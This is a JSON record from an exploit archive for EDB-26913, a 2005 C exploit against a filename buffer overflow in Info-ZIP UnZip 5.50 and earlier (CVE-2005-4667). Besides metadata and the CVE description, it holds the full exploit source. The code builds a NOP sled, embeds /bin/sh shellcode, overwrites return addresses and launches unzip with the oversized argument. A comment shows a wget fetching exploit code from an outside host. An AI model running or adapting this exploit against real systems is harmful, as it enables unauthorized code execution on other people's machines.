{"exploit":{"id":"EDB-26913","name":"Info-ZIP UnZip 5.x - File Name Buffer Overflow","description":"Info-ZIP UnZip 5.x - File Name Buffer Overflow","cves":["CVE-2005-4667"],"author":"DVDMAN","published":"2005-12-19","platform":"linux","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/26913","path":"exploits/linux/remote/26913.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-26913.c","vulnerabilities":[{"id":"CVE-2005-4667","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in UnZip 5.50 and earlier allows user-assisted attackers to execute arbitrary code via a long filename command line argument. NOTE: since the overflow occurs in a non-setuid program, there are not many scenarios under which it poses a vulnerability, unless unzip is passed long arguments when it is invoked from other programs.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-4667","cvss":{"version":"2.0","baseScore":3.7,"severity":"low","vectorString":"AV:L/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-4667"},"updatedAt":"2024-08-07T23:53:28.920Z","retrievedAt":"2026-11-27T13:11:35.313Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-26913.png?v=2","url":"https://exploitbin.com/exploits/EDB-26913","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-26913/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-26913/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2005/https://www.securityfocus.com/bid/15968/info\n\nInfo-ZIP 'unzip' is susceptible to a filename buffer-overflow vulnerability. The application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.\n\nThis issue allows attackers to execute arbitrary machine code in the context of users running the affected application.\n\n/*\nBy DVDMAN (DVDMAN@L33TSECURITY.COM)dvdman@snosoft.com\nhttp://www.snosoft.com\nhttp://WWW.L33TSECURITY.COM\nL33T SECURITY\nKeep It Private\n\nbased on code by hackbox.ath.cx\n > wget http://hackbox.ath.cx/mizc/unzip-expl.c\n\nlame unzip <= 5.50\ntested on redhat 7.2\nBy DVDMAN\nL33TSECURITY.COM\n*/\n\n\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#define MAX \"\\x39\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\"\n#define BUF 3264+1900+20000\n#define LOC 3262\n#define OFFSET 700 // brute force it\nchar fakechunk[] = \"\\xf0\\xff\\xff\\xff\"\n\"\\xfc\\xff\\xff\\xff\"\n\"\\xde\\x16\\xe8\\x77\"\n\"\\x42\\x6c\\xe8\\x77\";\nchar execshell[] = \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\"\n\"\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x89\"\n\"\\xc2\\xb0\\x0b\\xcd\\x80\\x89\\xc3\\x31\\xc0\\x40\"\n\"\\xcd\\x80\"; /* newroot's shellcode */\n\nint\nmain (int argc, char *argv[])\n{\n\nchar buf[BUF + 1];\nint x;\nchar *ptr;\nint i=0,offset=OFFSET;\nunsigned long addy = 0xbffffab0;\nif (argc < 2) {\nprintf(\"[L33TSECURITY]\");\nprintf(\"UNZIP EXPLOIT BY DVDMAN \");\nprintf(\"[L33TSECURITY]\\n\");\nprintf(\"[Usage] %s Offset\\n\",argv[0]);\nreturn;\n}\nif (argc > 1) offset = atoi(argv[1]);\n\nmemset(buf,0x90,BUF);\nptr = buf + ((BUF) - strlen(execshell));\n\nfor (i=0;i<strlen(execshell);i++)\n*(ptr++) = execshell[i];\n\n*(long*)&buf[LOC] = addy + offset;\n*(long*)&buf[LOC+4] = addy + offset;\n\nbuf[BUF] = 0;\nif (buf < MAX) {\nx = atoi(fakechunk + 2);\nmemset(buf,x,BUF);\nexecl(\"/usr/bin/unzip\",\"unzip\",buf,NULL);\n}\nexecl(\"/usr/bin/unzip\",\"unzip\",buf,fakechunk,NULL);\nreturn;\n}","sha256":"1c21a5be0044a0ca768bff69aae9940392d8b1bf09c0ca2492e6a1c0756e4164","bytes":1905,"fetchedAt":"2026-11-27T13:11:30.909Z","encoding":"utf-8 (display only; download retains original bytes)"}